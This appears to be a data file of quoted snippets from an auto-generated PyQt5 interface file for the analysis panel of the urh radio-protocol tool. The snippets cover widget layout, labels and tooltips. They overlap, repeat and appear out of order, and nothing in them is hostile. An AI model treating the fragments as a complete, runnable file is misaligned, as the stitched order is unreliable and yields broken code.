"3, 1, 1) self.lSearchCurrent = QtWidgets.QLabel(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lSearchCurrent.sizePolicy().hasHeightForWidth())",
"\"-\")) self.lSlash.setText(_translate(\"FAnalysis\", \"/\")) self.lSearchTotal.setText(_translate(\"FAnalysis\", \"-\")) self.btnNextSearch.setText(_translate(\"FAnalysis\", \">\")) self.label_2.setToolTip(_translate(\"FAnalysis\", \"<html><head/><body><p>The <span style=\\\" font-weight:600;\\\">Received Signal",
"self.treeViewProtocols.header().setVisible(False) self.verticalLayout.addWidget(self.treeViewProtocols) self.label_4 = QtWidgets.QLabel(self.scrollAreaWidgetContents) self.label_4.setObjectName(\"label_4\") self.verticalLayout.addWidget(self.label_4) self.listViewParticipants = QtWidgets.QListView(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred,",
"(+ ...) from the previous message is shown.</p></body></html>\")) self.lTime.setText(_translate(\"FAnalysis\", \"0 (+0)\")) self.lBits.setText(_translate(\"FAnalysis\", \"Bit:\"))",
"0, 8, 1, 1) self.line = QtWidgets.QFrame(self.frame_3) self.line.setFrameShape(QtWidgets.QFrame.VLine) self.line.setFrameShadow(QtWidgets.QFrame.Sunken) self.line.setObjectName(\"line\") self.gridLayout_2.addWidget(self.line, 0, 9,",
"font-weight:600;\\\">Received Signal Strength Indicator</span> indicates the average signal power of the current message.</p></body></html>\"))",
"self.tblViewProtocol.horizontalHeader().setDefaultSectionSize(40) self.verticalLayout_3.addWidget(self.tblViewProtocol) self.horizontalLayout_3 = QtWidgets.QHBoxLayout() self.horizontalLayout_3.setObjectName(\"horizontalLayout_3\") self.lBits = QtWidgets.QLabel(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed)",
"self.lSearchCurrent.setObjectName(\"lSearchCurrent\") self.gridLayout_2.addWidget(self.lSearchCurrent, 0, 4, 1, 1) self.lSlash = QtWidgets.QLabel(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred)",
"= QtWidgets.QLabel(self.frame_3) self.label_2.setObjectName(\"label_2\") self.gridLayout_2.addWidget(self.label_2, 0, 10, 1, 1) self.lblRSSI = QtWidgets.QLabel(self.frame_3) self.lblRSSI.setObjectName(\"lblRSSI\") self.gridLayout_2.addWidget(self.lblRSSI,",
"\"Show only labels in protocol\")) self.btnAnalyze.setText(_translate(\"FAnalysis\", \"Analyze\")) self.lineEditSearch.setPlaceholderText(_translate(\"FAnalysis\", \"Search Pattern\")) self.btnSearchSelectFilter.setText(_translate(\"FAnalysis\", \"Search\")) self.lFilterShown.setText(_translate(\"FAnalysis\",",
"message is shown.</p></body></html>\")) self.label_3.setText(_translate(\"FAnalysis\", \"Timestamp:\")) self.lTime.setToolTip(_translate(\"FAnalysis\", \"<html><head/><body><p>The <span style=\\\" font-weight:600;\\\">Message</span><span style=\\\" font-weight:600;\\\">Start</span> is",
"# WARNING! All changes made in this file will be lost! from PyQt5",
"QtWidgets.QSplitter(self.frame_2) self.splitter_2.setOrientation(QtCore.Qt.Horizontal) self.splitter_2.setObjectName(\"splitter_2\") self.frame_4 = QtWidgets.QFrame(self.splitter_2) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.frame_4.sizePolicy().hasHeightForWidth())",
"urh.ui.views.LabelValueTableView import LabelValueTableView from urh.ui.views.ProtocolLabelListView import ProtocolLabelListView from urh.ui.views.ProtocolTableView import ProtocolTableView from urh.ui.views.ProtocolTreeView",
"\"}\") self.lSearchCurrent.setObjectName(\"lSearchCurrent\") self.gridLayout_2.addWidget(self.lSearchCurrent, 0, 4, 1, 1) self.lSlash = QtWidgets.QLabel(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred,",
"sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.frame_4.sizePolicy().hasHeightForWidth()) self.frame_4.setSizePolicy(sizePolicy) self.frame_4.setFrameShape(QtWidgets.QFrame.StyledPanel) self.frame_4.setFrameShadow(QtWidgets.QFrame.Raised) self.frame_4.setObjectName(\"frame_4\") self.verticalLayout_8 = QtWidgets.QVBoxLayout(self.frame_4) self.verticalLayout_8.setObjectName(\"verticalLayout_8\") self.scrollArea = QtWidgets.QScrollArea(self.frame_4)",
"-*- coding: utf-8 -*- # # # WARNING! All changes made in this",
"self.scrollArea.setWidgetResizable(True) self.scrollArea.setObjectName(\"scrollArea\") self.scrollAreaWidgetContents = QtWidgets.QWidget() self.scrollAreaWidgetContents.setGeometry(QtCore.QRect(0, 0, 320, 514)) self.scrollAreaWidgetContents.setObjectName(\"scrollAreaWidgetContents\") self.verticalLayout = QtWidgets.QVBoxLayout(self.scrollAreaWidgetContents)",
"= ProtocolTreeView(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.treeViewProtocols.sizePolicy().hasHeightForWidth()) self.treeViewProtocols.setSizePolicy(sizePolicy) self.treeViewProtocols.setAcceptDrops(True) self.treeViewProtocols.setDragEnabled(True) self.treeViewProtocols.setDragDropOverwriteMode(False)",
"Indicator</span> indicates the average signal power of the current message.</p></body></html>\")) self.lblRSSI.setText(_translate(\"FAnalysis\", \"1.04\")) self.label_3.setToolTip(_translate(\"FAnalysis\",",
"sizePolicy.setHeightForWidth(self.lSlash.sizePolicy().hasHeightForWidth()) self.lSlash.setSizePolicy(sizePolicy) self.lSlash.setAlignment(QtCore.Qt.AlignCenter) self.lSlash.setObjectName(\"lSlash\") self.gridLayout_2.addWidget(self.lSlash, 0, 5, 1, 1) self.lSearchTotal = QtWidgets.QLabel(self.frame_3) sizePolicy",
"QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lNumSelectedColumns.sizePolicy().hasHeightForWidth()) self.lNumSelectedColumns.setSizePolicy(sizePolicy) self.lNumSelectedColumns.setObjectName(\"lNumSelectedColumns\") self.horizontalLayout_3.addWidget(self.lNumSelectedColumns) self.lColumnsSelectedText = QtWidgets.QLabel(self.frame_3) self.lColumnsSelectedText.setObjectName(\"lColumnsSelectedText\") self.horizontalLayout_3.addWidget(self.lColumnsSelectedText) self.verticalLayout_3.addLayout(self.horizontalLayout_3)",
"self.gridLayout_2.addWidget(self.lblRSSI, 0, 11, 1, 1) self.line_2 = QtWidgets.QFrame(self.frame_3) self.line_2.setFrameShape(QtWidgets.QFrame.VLine) self.line_2.setFrameShadow(QtWidgets.QFrame.Sunken) self.line_2.setObjectName(\"line_2\") self.gridLayout_2.addWidget(self.line_2, 0,",
"self.lHex.setObjectName(\"lHex\") self.horizontalLayout_3.addWidget(self.lHex) self.lHexSelection = QtWidgets.QLineEdit(self.frame_3) self.lHexSelection.setMaximumSize(QtCore.QSize(16777215, 20)) self.lHexSelection.setAcceptDrops(False) self.lHexSelection.setReadOnly(True) self.lHexSelection.setObjectName(\"lHexSelection\") self.horizontalLayout_3.addWidget(self.lHexSelection) self.lDecimal =",
"= QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.label.sizePolicy().hasHeightForWidth()) self.label.setSizePolicy(sizePolicy) self.label.setObjectName(\"label\") self.gridLayout.addWidget(self.label, 0, 0, 1, 1)",
"2, 1) self.listViewLabelNames = ProtocolLabelListView(self.frame) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.listViewLabelNames.sizePolicy().hasHeightForWidth()) self.listViewLabelNames.setSizePolicy(sizePolicy)",
"self.lHex.setSizePolicy(sizePolicy) self.lHex.setMaximumSize(QtCore.QSize(16777215, 15)) self.lHex.setObjectName(\"lHex\") self.horizontalLayout_3.addWidget(self.lHex) self.lHexSelection = QtWidgets.QLineEdit(self.frame_3) self.lHexSelection.setMaximumSize(QtCore.QSize(16777215, 20)) self.lHexSelection.setAcceptDrops(False) self.lHexSelection.setReadOnly(True) self.lHexSelection.setObjectName(\"lHexSelection\")",
"self.cbDecoding.addItem(\"\") self.cbDecoding.addItem(\"\") self.verticalLayout.addWidget(self.cbDecoding) self.lEncodingErrors = QtWidgets.QLabel(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Maximum, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lEncodingErrors.sizePolicy().hasHeightForWidth())",
"font-weight:600;\\\">Message Start</span> is the point in time when a protocol message begins. Additionally",
"self.lSlash.setAlignment(QtCore.Qt.AlignCenter) self.lSlash.setObjectName(\"lSlash\") self.gridLayout_2.addWidget(self.lSlash, 0, 5, 1, 1) self.lSearchTotal = QtWidgets.QLabel(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred,",
"sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lblLabelValues.sizePolicy().hasHeightForWidth()) self.lblLabelValues.setSizePolicy(sizePolicy) font = QtGui.QFont() font.setBold(True) font.setWeight(75) self.lblLabelValues.setFont(font) self.lblLabelValues.setAlignment(QtCore.Qt.AlignCenter) self.lblLabelValues.setObjectName(\"lblLabelValues\") self.gridLayout.addWidget(self.lblLabelValues,",
"self.lSearchCurrent.setSizePolicy(sizePolicy) self.lSearchCurrent.setStyleSheet(\"QLabel\\n\" \"{\\n\" \" qproperty-alignment: AlignCenter;\\n\" \"}\") self.lSearchCurrent.setObjectName(\"lSearchCurrent\") self.gridLayout_2.addWidget(self.lSearchCurrent, 0, 4, 1, 1)",
"= QtWidgets.QHBoxLayout() self.horizontalLayout.setObjectName(\"horizontalLayout\") self.cbMessagetypes = QtWidgets.QComboBox(self.frame) self.cbMessagetypes.setEditable(True) self.cbMessagetypes.setInsertPolicy(QtWidgets.QComboBox.NoInsert) self.cbMessagetypes.setObjectName(\"cbMessagetypes\") self.horizontalLayout.addWidget(self.cbMessagetypes) self.btnMessagetypeSettings = QtWidgets.QToolButton(self.frame)",
"sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lTime.sizePolicy().hasHeightForWidth()) self.lTime.setSizePolicy(sizePolicy) self.lTime.setTextFormat(QtCore.Qt.PlainText) self.lTime.setAlignment(QtCore.Qt.AlignRight|QtCore.Qt.AlignTrailing|QtCore.Qt.AlignVCenter) self.lTime.setObjectName(\"lTime\") self.gridLayout_2.addWidget(self.lTime, 0, 14, 1, 1) self.verticalLayout_3.addLayout(self.gridLayout_2)",
"diffs in protocol\")) self.chkBoxShowOnlyDiffs.setText(_translate(\"FAnalysis\", \"Show only diffs in protocol\")) self.chkBoxOnlyShowLabelsInProtocol.setText(_translate(\"FAnalysis\", \"Show only labels",
"add custom field types use Rightclick -> Edit.\")) self.lblLabelValues.setText(_translate(\"FAnalysis\", \"Label values for message\"))",
"5, 1, 1) self.lSearchTotal = QtWidgets.QLabel(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lSearchTotal.sizePolicy().hasHeightForWidth())",
"self.lblRSSI = QtWidgets.QLabel(self.frame_3) self.lblRSSI.setObjectName(\"lblRSSI\") self.gridLayout_2.addWidget(self.lblRSSI, 0, 11, 1, 1) self.line_2 = QtWidgets.QFrame(self.frame_3) self.line_2.setFrameShape(QtWidgets.QFrame.VLine)",
"self.gridLayout_2.addWidget(self.lSearchCurrent, 0, 4, 1, 1) self.lSlash = QtWidgets.QLabel(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0)",
"self.btnAddMessagetype.setIcon(icon) self.btnAddMessagetype.setObjectName(\"btnAddMessagetype\") self.horizontalLayout.addWidget(self.btnAddMessagetype) self.btnRemoveMessagetype = QtWidgets.QToolButton(self.frame) icon = QtGui.QIcon.fromTheme(\"list-remove\") self.btnRemoveMessagetype.setIcon(icon) self.btnRemoveMessagetype.setObjectName(\"btnRemoveMessagetype\") self.horizontalLayout.addWidget(self.btnRemoveMessagetype) self.gridLayout.addLayout(self.horizontalLayout,",
"self.verticalLayout_3 = QtWidgets.QVBoxLayout(self.frame_3) self.verticalLayout_3.setObjectName(\"verticalLayout_3\") self.gridLayout_2 = QtWidgets.QGridLayout() self.gridLayout_2.setObjectName(\"gridLayout_2\") self.lineEditSearch = QtWidgets.QLineEdit(self.frame_3) sizePolicy =",
"sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.btnNextSearch.sizePolicy().hasHeightForWidth()) self.btnNextSearch.setSizePolicy(sizePolicy) self.btnNextSearch.setMaximumSize(QtCore.QSize(20, 16777215)) icon = QtGui.QIcon.fromTheme(\"go-next\") self.btnNextSearch.setIcon(icon) self.btnNextSearch.setObjectName(\"btnNextSearch\") self.gridLayout_2.addWidget(self.btnNextSearch, 0,",
"self.label_2 = QtWidgets.QLabel(self.frame_3) self.label_2.setObjectName(\"label_2\") self.gridLayout_2.addWidget(self.label_2, 0, 10, 1, 1) self.lblRSSI = QtWidgets.QLabel(self.frame_3) self.lblRSSI.setObjectName(\"lblRSSI\")",
"sizePolicy.setHeightForWidth(self.lblLabelValues.sizePolicy().hasHeightForWidth()) self.lblLabelValues.setSizePolicy(sizePolicy) font = QtGui.QFont() font.setBold(True) font.setWeight(75) self.lblLabelValues.setFont(font) self.lblLabelValues.setAlignment(QtCore.Qt.AlignCenter) self.lblLabelValues.setObjectName(\"lblLabelValues\") self.gridLayout.addWidget(self.lblLabelValues, 0, 1,",
"<span style=\\\" font-weight:600;\\\">Message Start</span> is the point in time when a protocol message",
"time (+ ...) from the previous message is shown.</p></body></html>\")) self.label_3.setText(_translate(\"FAnalysis\", \"Timestamp:\")) self.lTime.setToolTip(_translate(\"FAnalysis\", \"<html><head/><body><p>The",
"= QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Expanding) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.tblViewProtocol.sizePolicy().hasHeightForWidth()) self.tblViewProtocol.setSizePolicy(sizePolicy) self.tblViewProtocol.setAcceptDrops(True) self.tblViewProtocol.setAutoFillBackground(True) self.tblViewProtocol.setFrameShape(QtWidgets.QFrame.NoFrame) self.tblViewProtocol.setFrameShadow(QtWidgets.QFrame.Sunken) self.tblViewProtocol.setLineWidth(1) self.tblViewProtocol.setAutoScroll(True)",
"1, 1) self.lSearchTotal = QtWidgets.QLabel(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lSearchTotal.sizePolicy().hasHeightForWidth()) self.lSearchTotal.setSizePolicy(sizePolicy)",
"QtWidgets.QGridLayout(self.frame) self.gridLayout.setObjectName(\"gridLayout\") self.label = QtWidgets.QLabel(self.frame) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.label.sizePolicy().hasHeightForWidth()) self.label.setSizePolicy(sizePolicy)",
"protocol\")) self.chkBoxOnlyShowLabelsInProtocol.setText(_translate(\"FAnalysis\", \"Show only labels in protocol\")) self.btnAnalyze.setText(_translate(\"FAnalysis\", \"Analyze\")) self.lineEditSearch.setPlaceholderText(_translate(\"FAnalysis\", \"Search Pattern\")) self.btnSearchSelectFilter.setText(_translate(\"FAnalysis\",",
"= QtGui.QIcon.fromTheme(\"list-add\") self.btnAddMessagetype.setIcon(icon) self.btnAddMessagetype.setObjectName(\"btnAddMessagetype\") self.horizontalLayout.addWidget(self.btnAddMessagetype) self.btnRemoveMessagetype = QtWidgets.QToolButton(self.frame) icon = QtGui.QIcon.fromTheme(\"list-remove\") self.btnRemoveMessagetype.setIcon(icon) self.btnRemoveMessagetype.setObjectName(\"btnRemoveMessagetype\")",
"self.verticalLayout_5.setObjectName(\"verticalLayout_5\") self.stackedWidgetLogicAnalysis.addWidget(self.pageButtonAnalyzer) self.pageProgressBar = QtWidgets.QWidget() self.pageProgressBar.setObjectName(\"pageProgressBar\") self.verticalLayout_6 = QtWidgets.QVBoxLayout(self.pageProgressBar) self.verticalLayout_6.setContentsMargins(0, 0, 0, 0)",
"self.retranslateUi(FAnalysis) self.stackedWidgetLogicAnalysis.setCurrentIndex(0) QtCore.QMetaObject.connectSlotsByName(FAnalysis) def retranslateUi(self, FAnalysis): _translate = QtCore.QCoreApplication.translate FAnalysis.setWindowTitle(_translate(\"FAnalysis\", \"Frame\")) self.label_5.setText(_translate(\"FAnalysis\", \"Protocols:\"))",
"self.btnAddMessagetype.setText(_translate(\"FAnalysis\", \"...\")) self.btnRemoveMessagetype.setToolTip(_translate(\"FAnalysis\", \"Delete current message type\")) self.btnRemoveMessagetype.setText(_translate(\"FAnalysis\", \"...\")) from urh.ui.views.LabelValueTableView import LabelValueTableView",
"QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.btnAnalyze.sizePolicy().hasHeightForWidth()) self.btnAnalyze.setSizePolicy(sizePolicy) self.btnAnalyze.setPopupMode(QtWidgets.QToolButton.MenuButtonPopup) self.btnAnalyze.setToolButtonStyle(QtCore.Qt.ToolButtonTextOnly) self.btnAnalyze.setObjectName(\"btnAnalyze\") self.verticalLayout.addWidget(self.btnAnalyze) self.stackedWidgetLogicAnalysis = QtWidgets.QStackedWidget(self.scrollAreaWidgetContents) sizePolicy",
"self.btnMessagetypeSettings = QtWidgets.QToolButton(self.frame) icon = QtGui.QIcon.fromTheme(\"preferences-other\") self.btnMessagetypeSettings.setIcon(icon) self.btnMessagetypeSettings.setObjectName(\"btnMessagetypeSettings\") self.horizontalLayout.addWidget(self.btnMessagetypeSettings) self.btnAddMessagetype = QtWidgets.QToolButton(self.frame) icon",
"icon = QtGui.QIcon.fromTheme(\"go-next\") self.btnNextSearch.setIcon(icon) self.btnNextSearch.setObjectName(\"btnNextSearch\") self.gridLayout_2.addWidget(self.btnNextSearch, 0, 7, 1, 1) spacerItem = QtWidgets.QSpacerItem(60,",
"\"NRZ\")) self.cbDecoding.setItemText(1, _translate(\"FAnalysis\", \"Manchester\")) self.cbDecoding.setItemText(2, _translate(\"FAnalysis\", \"Manchester II\")) self.cbDecoding.setItemText(3, _translate(\"FAnalysis\", \"Differential Manchester\")) self.cbDecoding.setItemText(4,",
"self.btnRemoveMessagetype.setObjectName(\"btnRemoveMessagetype\") self.horizontalLayout.addWidget(self.btnRemoveMessagetype) self.gridLayout.addLayout(self.horizontalLayout, 1, 0, 1, 1) self.verticalLayout_2.addWidget(self.splitter) self.retranslateUi(FAnalysis) self.stackedWidgetLogicAnalysis.setCurrentIndex(0) QtCore.QMetaObject.connectSlotsByName(FAnalysis) def retranslateUi(self,",
"\"<html><head/><body><p>The <span style=\\\" font-weight:600;\\\">Received Signal Strength Indicator</span> indicates the average signal power of",
"self.verticalLayout.addWidget(self.cbDecoding) self.lEncodingErrors = QtWidgets.QLabel(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Maximum, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lEncodingErrors.sizePolicy().hasHeightForWidth()) self.lEncodingErrors.setSizePolicy(sizePolicy) self.lEncodingErrors.setObjectName(\"lEncodingErrors\")",
"self.btnNextSearch.setText(_translate(\"FAnalysis\", \">\")) self.label_2.setToolTip(_translate(\"FAnalysis\", \"<html><head/><body><p>The <span style=\\\" font-weight:600;\\\">Received Signal Strength Indicator</span> indicates the average",
"= QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lNumSelectedColumns.sizePolicy().hasHeightForWidth()) self.lNumSelectedColumns.setSizePolicy(sizePolicy) self.lNumSelectedColumns.setObjectName(\"lNumSelectedColumns\") self.horizontalLayout_3.addWidget(self.lNumSelectedColumns) self.lColumnsSelectedText = QtWidgets.QLabel(self.frame_3) self.lColumnsSelectedText.setObjectName(\"lColumnsSelectedText\")",
"message type\")) self.btnRemoveMessagetype.setText(_translate(\"FAnalysis\", \"...\")) from urh.ui.views.LabelValueTableView import LabelValueTableView from urh.ui.views.ProtocolLabelListView import ProtocolLabelListView from",
"sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(FAnalysis.sizePolicy().hasHeightForWidth()) FAnalysis.setSizePolicy(sizePolicy) FAnalysis.setFocusPolicy(QtCore.Qt.ClickFocus) FAnalysis.setAcceptDrops(True) FAnalysis.setFrameShape(QtWidgets.QFrame.StyledPanel) FAnalysis.setFrameShadow(QtWidgets.QFrame.Raised) FAnalysis.setLineWidth(1) FAnalysis.setMidLineWidth(0) self.verticalLayout_2 = QtWidgets.QVBoxLayout(FAnalysis)",
"1, 1) self.line = QtWidgets.QFrame(self.frame_3) self.line.setFrameShape(QtWidgets.QFrame.VLine) self.line.setFrameShadow(QtWidgets.QFrame.Sunken) self.line.setObjectName(\"line\") self.gridLayout_2.addWidget(self.line, 0, 9, 1, 1)",
"icon = QtGui.QIcon.fromTheme(\"go-previous\") self.btnPrevSearch.setIcon(icon) self.btnPrevSearch.setObjectName(\"btnPrevSearch\") self.gridLayout_2.addWidget(self.btnPrevSearch, 0, 3, 1, 1) self.lSearchCurrent = QtWidgets.QLabel(self.frame_3)",
"0, 13, 1, 1) self.lTime = QtWidgets.QLabel(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0)",
"sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.stackedWidgetLogicAnalysis.sizePolicy().hasHeightForWidth()) self.stackedWidgetLogicAnalysis.setSizePolicy(sizePolicy) self.stackedWidgetLogicAnalysis.setObjectName(\"stackedWidgetLogicAnalysis\") self.pageButtonAnalyzer = QtWidgets.QWidget() self.pageButtonAnalyzer.setObjectName(\"pageButtonAnalyzer\")",
"font-weight:600;\\\">Message</span><span style=\\\" font-weight:600;\\\">Start</span> is the point in time when a protocol message begins.",
"self.lEncodingErrors.setSizePolicy(sizePolicy) self.lEncodingErrors.setObjectName(\"lEncodingErrors\") self.verticalLayout.addWidget(self.lEncodingErrors) self.lDecodingErrorsValue = QtWidgets.QLabel(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lDecodingErrorsValue.sizePolicy().hasHeightForWidth())",
"errors for message:\")) self.lDecodingErrorsValue.setText(_translate(\"FAnalysis\", \"0 (0.00%) \")) self.labelDecodingState.setText(_translate(\"FAnalysis\", \"SUCCESS\")) self.cbShowDiffs.setText(_translate(\"FAnalysis\", \"Mark diffs in",
"QtWidgets.QToolButton(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.btnAnalyze.sizePolicy().hasHeightForWidth()) self.btnAnalyze.setSizePolicy(sizePolicy) self.btnAnalyze.setPopupMode(QtWidgets.QToolButton.MenuButtonPopup) self.btnAnalyze.setToolButtonStyle(QtCore.Qt.ToolButtonTextOnly) self.btnAnalyze.setObjectName(\"btnAnalyze\") self.verticalLayout.addWidget(self.btnAnalyze)",
"sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.cbProtoView.sizePolicy().hasHeightForWidth()) self.cbProtoView.setSizePolicy(sizePolicy) self.cbProtoView.setObjectName(\"cbProtoView\") self.cbProtoView.addItem(\"\") self.cbProtoView.addItem(\"\") self.cbProtoView.addItem(\"\") self.verticalLayout.addWidget(self.cbProtoView) self.cbDecoding = QtWidgets.QComboBox(self.scrollAreaWidgetContents) sizePolicy =",
"sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lSlash.sizePolicy().hasHeightForWidth()) self.lSlash.setSizePolicy(sizePolicy) self.lSlash.setAlignment(QtCore.Qt.AlignCenter) self.lSlash.setObjectName(\"lSlash\") self.gridLayout_2.addWidget(self.lSlash, 0, 5,",
"self.verticalLayout_6.addWidget(self.progressBarLogicAnalyzer) self.stackedWidgetLogicAnalysis.addWidget(self.pageProgressBar) self.verticalLayout.addWidget(self.stackedWidgetLogicAnalysis) self.scrollArea.setWidget(self.scrollAreaWidgetContents) self.verticalLayout_8.addWidget(self.scrollArea) self.frame_3 = QtWidgets.QFrame(self.splitter_2) self.frame_3.setFrameShape(QtWidgets.QFrame.StyledPanel) self.frame_3.setFrameShadow(QtWidgets.QFrame.Raised) self.frame_3.setObjectName(\"frame_3\") self.verticalLayout_3 =",
"QtWidgets.QLineEdit(self.frame_3) self.lDecimalSelection.setMaximumSize(QtCore.QSize(16777215, 20)) self.lDecimalSelection.setAcceptDrops(False) self.lDecimalSelection.setReadOnly(True) self.lDecimalSelection.setObjectName(\"lDecimalSelection\") self.horizontalLayout_3.addWidget(self.lDecimalSelection) spacerItem1 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum)",
"self.label_2.setToolTip(_translate(\"FAnalysis\", \"<html><head/><body><p>The <span style=\\\" font-weight:600;\\\">Received Signal Strength Indicator</span> indicates the average signal power",
"self.lNumSelectedColumns.setText(_translate(\"FAnalysis\", \"0\")) self.lColumnsSelectedText.setText(_translate(\"FAnalysis\", \"Column(s) selected\")) self.label.setText(_translate(\"FAnalysis\", \"Message type:\")) self.listViewLabelNames.setToolTip(_translate(\"FAnalysis\", \"Manage your estimations for",
"self.lSearchTotal = QtWidgets.QLabel(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lSearchTotal.sizePolicy().hasHeightForWidth()) self.lSearchTotal.setSizePolicy(sizePolicy) self.lSearchTotal.setStyleSheet(\"QLabel\\n\" \"{\\n\"",
"1, 1, 1) self.horizontalLayout = QtWidgets.QHBoxLayout() self.horizontalLayout.setObjectName(\"horizontalLayout\") self.cbMessagetypes = QtWidgets.QComboBox(self.frame) self.cbMessagetypes.setEditable(True) self.cbMessagetypes.setInsertPolicy(QtWidgets.QComboBox.NoInsert) self.cbMessagetypes.setObjectName(\"cbMessagetypes\")",
"= QtWidgets.QSplitter(FAnalysis) self.splitter.setOrientation(QtCore.Qt.Vertical) self.splitter.setObjectName(\"splitter\") self.frame_2 = QtWidgets.QFrame(self.splitter) self.frame_2.setFrameShape(QtWidgets.QFrame.StyledPanel) self.frame_2.setFrameShadow(QtWidgets.QFrame.Raised) self.frame_2.setObjectName(\"frame_2\") self.verticalLayout_4 = QtWidgets.QVBoxLayout(self.frame_2)",
